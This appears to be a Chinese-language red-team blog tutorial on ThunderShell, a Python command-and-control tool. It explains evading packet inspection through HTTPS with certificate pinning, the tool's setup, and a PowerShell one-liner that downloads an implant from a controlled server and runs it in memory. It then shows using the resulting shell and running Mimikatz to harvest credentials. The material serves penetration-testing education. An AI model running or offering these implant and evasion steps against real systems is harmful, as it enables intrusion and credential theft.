C2工具通常依赖于各种协议作为通信机制,如DNS,ICMP,HTTPS等。大多数端点产品执行一些深度数据包检查,以便丢弃任意连接。使用支持加密的协议并使用证书固定生成的流量可以规避大部分产品,并且应该将其视为红队参与过程中的一种方法。
ThunderShell由MrUn1k0d3r开发,基于Python。它使用Redis服务器在植入物和服务器之间进行HTTPS通信,并使用PowerShell在目标和任何其他脚本上执行植入。主要优点是支持证书锁定以绕过执行流量检查的安全产品。使用HTTPS作为通信协议和PowerShell的类似工具称为PoshC2。
ThunderShell具有以下依赖项:
apt install redis-server apt install python-redis
default.json文件包含工具配置,通过设置加密密钥并使用证书固定以避免检测,可以启用流量加密。

ThunderShell - 配置
当ThunderShell被执行时,它将启动一个Web服务器,默认情况下将侦听端口8080.Web服务器将处理来自植入物的所有HTTP请求。

植入物(PS-RemoteShell)需要托管在由红队控制的网络服务器上。植入物需要以下参数:
- IP - Webserver
- 端口 - Webserver
- 加密密钥
- 延迟
以下命令将直接从内存下载并执行植入。
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.169/tmp/PS-RemoteShell.ps1'); PS-Renoteshell -ip IP地址 -port 端口号 -Key 关键词 -Delay 延迟时间

ThunderShell - 植入式执行
一旦植入物在目标上执行,它将与网络服务器通信并获得新的外壳。

ThunderShell - Shell
每个shell都有自己唯一的ID。可以使用“ list ”命令获取活动shell及其关联ID的列表。

ThunderShell - 列出活动shell
在目标上执行任何命令之前,需要与shell进行交互。

ThunderShell还具有读取文件,在内存中执行命令和脚本,文件传输等功能。

ThunderShell - 读取文件
命令可以像任何其他普通shell一样在目标上执行。

ThunderShell - 执行命令
由于它使用PowerShell,因此可以执行各种脚本,这些脚本可以增强Mimikatz等工具的功能。

ThunderShell - Mimikatz执行
可以使用命令刷新检索Mimikatz的结果。

ThunderShell - Mimikatz

本文介绍了C2工具通信机制及规避方法,重点介绍了基于Python的ThunderShell工具。它用Redis服务器进行HTTPS通信,支持证书锁定绕过安全产品。文中说明了其依赖项、配置、植入执行、shell操作等,还提及它有读取文件、执行命令等功能,可增强Mimikatz工具功能。
1502

被折叠的 条评论
为什么被折叠?



